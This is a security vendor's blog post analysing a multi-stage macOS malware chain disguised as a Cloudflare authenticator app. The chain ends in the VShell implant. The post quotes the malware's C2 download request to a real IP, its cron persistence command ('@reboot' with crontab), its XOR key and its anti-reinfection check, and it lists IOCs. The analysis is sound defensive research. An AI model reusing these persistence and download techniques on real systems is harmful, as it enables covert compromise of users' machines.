Skip to content
it’s about the journey: fake cloudflare authenticator
Blog Threat Intelligence It’s About...

It’s About The Journey: Fake Cloudflare Authenticator

In order to provide the best possible coverage for Kandji EDR, the threat intelligence team conducts threat hunts across various different data feeds. On October 15th, 2024 we came across a suspicious-looking file on VirusTotal named Cloudflare Security Authenticator/cloudflare-auth-tauri. The file had been uploaded from China on that same day, was unsigned, and had the tag for being a dropper. This application as of this writeup had 0 detections on VirusTotal.

This file was also mentioned on Twitter/X by AzakaSekai_ on the same day of the discovery with the hashtag vshell.

Soon after this post, a thread by DefSecSentinel was posted, which covered this application from a process monitoring perspective and provided good insights into the capabilities of this DMG and the corresponding files.

The diagram below shows the stages of this infection chain, which we will cover in the subsequent sections of this blog post. First, we will start with the Stage 1 Mach-O. This would be executed after opening the DMG and right clicking the file to open it. 

In this blog post we will go through each stage from the diagram above to uncover the final payload of this chain.

DMG and Stage 1

In this section we will cover an analysis of the DMG and the Stage 1 file. Since the parent DMG for the file was also on VirusTotal with 0 detections, we downloaded the DMG to take a closer look. The DMG contained Chinese text that instructed the user to right-click on the Authenticator icon and select Run. This is a widespread technique that a lot of macOS malware uses when the application is unsigned. Also unlike most legitimate DMG’s the icon was not an app bundle but just the actual Mach-O file.

Due to GateKeeper we still had to go into system settings and manually allow the application to run. Once the application is executed a window with a rolling 6 digit TOTP code appears which attempts to masquerade as Cloudflare.

What we don't see behind the scenes is that it creates a hidden 2nd stage Mach-O file (.tmpINnoHq) in the temporary directory found in /var/folders. The authenticator executes the hidden file (.tmpINnoHq), which creates the 3rd stage hidden file in the same tmp directory (.tmpA79d5m). The file (.tmpINnoHq) then executes (.tmpA79d5m). These files are temp files, so the names are random.

In both files it references an IP address 43.156.13[.]232. The 3rd stage (.tmpA79d5m) downloads and creates another hidden file that is renamed to .gps (4th stage) in the Users’ home directory using the following GET Request. 

http://43[.]156.13[.]232:8084/?a=d64&h=43.156.13.232&t=ws_&p=8084

Next we will dig into how the Stage 1 file creates the temporary file we covered above, which is executed and starts the infection chain.

File Creation And Execution of Stage 2

The inclusion of the word Tarui in the name of this application hints at this being a Rust-compiled sample and we confirmed this early in our analysis. Tauri is an “open-source software framework designed to create cross-platform desktop and mobile applications on Linux, macOS, Windows, Android and iOS using a web frontend.” Since this is a Rust application, we need to look for the lang_start function to understand where the execution begins.

1000af7d0  fn _main(argc: i32, argv: i64) -> i64

1000af7d0  {
1000af7e5      let mut mainFunction: fn() -> *mut i64 = cloudflare_auth_tauri::main::h853c5d40b8448c64;
1000af7f7      std::rt::lang_start_internal::h8372644ac40c1e8b(&mainFunction, &_anon.69b3d3179c7d3716ee68d7cccdbe8f25.10, argc as i64, argv, 0)
1000af7d0  }

Inside the main function, we can see a call to cloudflare_auth_tauri::main::h853c5d40b8448c64 that is assigned to the mainFunction variable and passed via address to the std::rt::lang_start_internal::h8372644ac40c1e8b function. This main function is where we will continue our analysis.

cloudflare_auth_tauri::main::h853c5d40b8448c64

As was mentioned during our dynamic analysis, a file in a temp directory is created and used for the second stage. We can see the creation of a temporary file occur via an execution of this function.

1000ad530      tempfile::file::NamedTempFile::new::hf9c2698cc08cbf6e(&TempFile)

This returns a file in a temporary directory that is used by this sample. Next we see an address within the binary used for a pointer and what appears to be a size. 

1000ad58c          let mut embeddedFileSize: *mut c_void = 0x7b890;
1000ad591          let mut embeddedMacho: *mut c_void = &embeddedFile_10057365b;

Taking a look at what is at this address (0x10057365b), we can see a Mach-O header and the expected magic bytes.

We can confirm that this is an embedded file that is created by looking at how these values are used in a function to write these bytes to the temp file. 

1000ad5ca          loop {
1000ad5ca              let mut FileWriteBytes: i64;
1000ad5ca              FileWriteBytes = <std::fs::File as std::io::Write>::write::hdb3677c3d3aab7d9(&*(TempFile_1 as *mut u64)[7], embeddedMacho, embeddedFileSize);

This while loop is used to write the bytes from 0x10057365b to the temporary file and perform error handling. We can confirm that this temporary file is executed by looking for process-related function calls that reference this temporary file. 

1000ad765                  std::sys::pal::unix::process::process_common::Command::stderr::h7134ea764850965e(&TempFile, 1, std::sys::pal::unix::process::process_common::Command::stdout::h8006acaf2c82fbbb(&TempFile, 1, std::sys::pal::unix::process::process_common::Command::new::hde8ddf5714139c35(&TempFile, TempFile_27, r12_1)))
1000ad778                  std::process::Command::spawn::hee7abfe5fd432d8f(&TempFile_8, &TempFile)

Here we can see methods related to stderr and stdout for Input/Output (I/O) for this new process. The new() method is then used to construct a command for launching the program at the path that was passed. Finally, the call to spawn() will execute the command as a child process. To continue our analysis we need to extract this embedded file from the stage 1 Mach-O. Using Binary Ninja, we can create a quick Python command using bv.read to read the bytes from the start of the embedded Mach-O using the size we observed, output the file, and then open it with Binary Ninja. 

fileBytes = bv.read(0x10057365b, 0x7b890)
with open("/tmp/embeddedFile", "wb") as f:
f.write(fileBytes)

Let’s continue our analysis of this extracted file.

Stage 2 Analysis After Extraction

This stage 2 binary is another Rust-compiled executable. So, we will use the same process to understand what this sample does. Let’s first find the main function that is executed by looking for the call to lang_start

100002e60  fn _main(argc: i32, argv: i64) -> i64

100002e60  {
100002e75      let mut mainFunction: fn() -> *mut c_void = pop::main::h3f1e775d3e474125;
100002e87      std::rt::lang_start_internal::h8372644ac40c1e8b(&mainFunction, &_anon.a0942a2514e9fc09ac708bbf7feb8da7.0, argc as i64, argv, 0)
100002e60  }

The main function named pop::main::h3f1e775d3e474125 is where we will continue our analysis.

pop::main::h3f1e775d3e474125

First there is a call to create a temporary file using a similar call to a function seen in the stage 1 binary. 

100002987      tempfile::file::NamedTempFile::new::h69356fe97990edb6(&tmpFile_1)

This temp file is then used as an argument for a call to the write_all method which will write the entire buffer to the address in RDI. The pointer to the Mach-O file contents buffer is stored in RSI and EDX has the size of the Mach-O. 

Let’s look at this address to see the Mach-O header. 

Similar to the previous sample, we would expect this newly created file to be executed using the process module and corresponding method calls, so let’s look for them.

100002baf                          std::sys::pal::unix::process::process_common::Command::stderr::h7134ea764850965e(&tmpFile_1, 1, std::sys::pal::unix::process::process_common::Command::stdout::h8006acaf2c82fbbb(&tmpFile_1, 1, std::sys::pal::unix::process::process_common::Command::new::hde8ddf5714139c35(&tmpFile_1, tmpFile_11, rax_3)))
100002bc2                          std::process::Command::spawn::hee7abfe5fd432d8f(&tmpFile_8, &tmpFile_1)

We can identify the use of the stderr and stdout methods to set up this child process. Next, is the call to the new() method and finally spawn() to execute this Mach-O as stage 3.

Using Binary Ninja, we can repeat the file extraction process and write these bytes to a file to continue our analysis of this 3rd stage Mach-O. 

fileBytes = bv.read(0x10004cd18, 0x8718)
with open("/tmp/embeddedFileFromEmbeddedFile", "wb") as f:
    f.write(fileBytes)
 

With this file extracted, we can continue with the analysis of the 3rd Stage of this infection chain.

Stage 3 Analysis After Extraction

The stage 3 Mach-O is not a Rust sample but a C-compiled binary, so we will start in the main() function. 

The first interesting call is for the access() function to check if a specific .log file exists. 

100003831      if (_access("/tmp/log_de.log", 0) == 0)
100003dc2          _exit(0)

This function checks if the file exists; if it does, execution is discontinued by calling the exit() function. This log file may be created somewhere further down the infection chain, and this check ensures that the malware does not attempt to reinfect a compromised host. We did not see the log file created on the host during dynamic analysis.

Next there is a call to a function called InitAddr(). This function uses calls to dlsym() to set up socket-related functions. Let’s dig into them.

_InitAddr()

Let’s take a look at the use of the dlsym() function. Functions related to socket communication are passed as the symbols to the dlsym() function and assigned to names starting with “my_” that we will see in the rest of the binary. This is potentially interesting since these functions will not appear in the symbols when analyzing the binary. Hence, this could be used to hide the network connection behavior. String analysis however would show these symbols and the corresponding variables with the “my_” prefix so the reasoning behind using this function is unclear. 

We will now continue looking at how these socket related functions are used in the main() function. 

The gethostbyname() and inet_addr() functions are passed the IP address of the Command and Control (C2) server. This is the first mention of this IP address used by this stage. Next we have a call to socket() to obtain a socket descriptor.

The socket descriptor is passed to the connect() function using the C2 address and checks if the return value is -1, which would indicate there is an error. If there was an error, it sleeps and reruns the connect() function. Once this is set up, we have a call to the send() function which we will cover next.

To understand what is sent, we need to analyze a call to sprintf() which replaces format strings for a buffer that is sent to the C2. 

100003962              ___sprintf_chk(&bufferToSend, 0, 0x400, "GET /?a=%s&h=%s&t=%s&p=%d HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0\r\n\r\n")
10000397f              _my_send(zx.q(socket), &bufferToSend, 0x400, 0)

We can replace the format strings to create the buffer that is passed via the send() function. 

"GET /?a=d64&h=43[.]156[.]13.232&t=ws_&p=8084 HTTP/1.1\r\nHost: hxxp[:]//43[.]156.13.232[:]8084\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0\r\n\r\n"

This buffer is used to send a GET request to the C2 server which will result in the download of another Mach-O binary. Now let’s see how the received data is handled from the C2. 

The username is used for the snprintf() function to create a target for /Users/<username>/.gps. This will be the name of the downloaded file from the socket connection. A file stream is then created targeting this file using fopen(). A call to chmod(pathto/.gps, 448) is completed to set up the permissions of this file.

Downloading this file from the C2 server results in a file that does not appear to be a Mach-O, however this is due to being XOR encoded. We can identify the use of XOR in the decompilation which uses a key of 0x99. We then created a script to decode the most recently downloaded file using that key to continue the analysis of the following file in this infection chain. Before we analyze the stage 4 file that was downloaded, we need to cover how the stage 3 binary creates persistence to execute the stage 4 binary.

Gaining Persistence

The 3rd stage runs the following command:

sh -c echo ‘@reboot /Users/username/.gps’ | crontab -

This is the command that gives the (.gps) file persistence on the host. The command creates a cron job that runs the (.gps) file every time the system reboots. A new cron job attempted to be created like this will result in a TCC (Transparency, Consent, and Control) prompt to the user.

Let’s look at the disassembly to see how this is completed. 

100003d19  488d1551020000     lea     rdx, [rel data_100003f71]  {"echo '@reboot %s' | crontab -"}
100003d20  488d9dc0e1ffff     lea     rbx, [rbp-0x1e40 {cronPersistence}]
100003d27  488d8dc0e2ffff     lea     rcx, [rbp-0x1d40 {_/Users/<User>/.gps}]
100003d2e  be00010000         mov     esi, 0x100
100003d33  4889df             mov     rdi, rbx {cronPersistence}
100003d36  31c0               xor     eax, eax  {0x0}
100003d38  e813010000         call    _snprintf
100003d3d  4889df             mov     rdi, rbx {cronPersistence}
100003d40  e811010000         call    _system

Another sprintf() function adds the full path to the .gps file to the echo command used for the cron persistence. This is then passed to the system() function to execute. Next is a call to fork() and execvp().

The .gps file is executed along with the launch argument of “/usr/libexec/nehelper”. This file is a service that runs on macOS and according to the man pages “is part of the Network Extension framework. It is responsible for vending the Network Extension configuration to Network Extension clients and applying changes to the Network Extension configuration.” We do not really know why this is passed as a launch argument to the .gps file, however it is possible that this may be an attempt to make this execution appear legitimate.

Stage 4 Golang

The last stage of this infection chain is written in Golang, was XOR encoded when downloaded, has obfuscated symbols, and is launched via cron job whenever the system restarts.

After analyzing the sample, it became clear that this final payload is for VShell. vshell is a security confrontation simulation and red team tool. It provides tunnel proxy and covert channel to simulate the strategies and techniques of long-term lurking attackers.This also matches the #vshell hashtag used in the Twitter/X post we included in the beginning of this blog post. Once we realized this to be the most likely case, we wrapped up our analysis of this file. Below are some potentially interesting artifacts we noticed while analyzing this implant.

Hostname Query

Due to the obfuscated nature of this binary, time was spent attempting to match commonalities between Golang package names and their obfuscated names. We were able to start piecing these together and used strings to aid in the process. Golang strings are structs and unfortunately are not NULL terminated, however many functions show the start of a string blob and pass the size at the offset of +0x8 from the string itself due to them being structs.

This shows the kern.hostname string that has been used by other malware in the past to query for the hostname of the machine using sysctl. The example above shows that the string “sysctl kern.hostname” is being assigned to a variable. The size of this string is 0x14 and is at the address of the variable + 0x8 offset. 

Potential Sliver Usage:

Given the symbol obfuscation, a lot of time was spent analyzing the strings of this Golang binary and the cross references to these strings. Two strings helped in the identification of potential Sliver connections with this implant, LD_PARAMS=%s and DYLD_INSERT_LIBRARIES=%s. Searching for these two strings in open source Golang files led to the Sliver darwin_task.go file.

Reference to HISTFILE and VirusTotal Searches

We noticed an interesting string for setting the history of the terminal to a file in the /tmp directory. This was used as a search parameter to find other samples with similar behavior. 

Searching on Virustotal, we were able to see a connection to other files that are potentially related to Vshell.

content:"HISTFILE=/tmp/.del" type:macho

Using these results, we were able to link this stage 4 file to this family as observed by VT:
This file contains malware configuration that may be attributed to vshell family.” Looking for other similarities, we pulled one of the results to compare against the stage 4 sample and saw that their main.main() functions were very similar. This further confirms what this stage 4 sample appears to be.

Above is the stage 4 sample and below is the sample b907f1d925b43ff8271188e780589bba6458f92d2baa67f2dc6310e9138f8eed we used to compare similarities.

Conclusion

This infection chain resulted in a red team tool named VShell executing on the system to allow for additional actions from the C2. This chain of multiple stages included embedded Mach-Os written in different languages along with XOR encoding and obfuscated symbols for the final payload. This application attempted to masquerade as a legitimate TOTP application for Cloudflare. It is unclear what this malware chain was used for, however, the use of Chinese characters in the DMG may indicate the potential target area.

IOC’s

Cloudflare Security Authenticator DMG’s 

sha256 - e96fe377ac512794ade4ebd4384ef2cc085156481979e684eebdfa8275176fb0 

sha256 - c5686b85efb3ebf2ce07dba4192195c3dac7c335a371b7bcfbf52d5fb15cb507

 

Stage 1 - cloudflare-auth-tauri Mach-O’s 

sha256 -  a1f7d6c013b97f3685effb38aefb68518e4b46c7a4823b25405548e3e7dd303d

sha256 -  49b2b3b2de5d2d9814c7e71b081682f87a7193c7853266cddf2dc3a8120c819b

 

Stage 2 - .TmpFile Mach-O

sha256 - 2513df22c3baf0f2a14d0dfb97b0af39164c3d625822e33073f4fc0da1e14d51

 

Stage 3 - .TmpFile2 Mach-O

sha256 - 3b28da2eba3f1b7f114b22fb8c8c40e7cf94809031a65cce3c3179d97644d88e

 

Stage 4 - .gps

sha256 -  f69dd48ae8eb3767398316ad8bfa4a2e66dfabb38966f949453e08225255b270

 

IP’s 

43.156.13.232

 

Persistence - Cron Job

@reboot /Users/username/.gps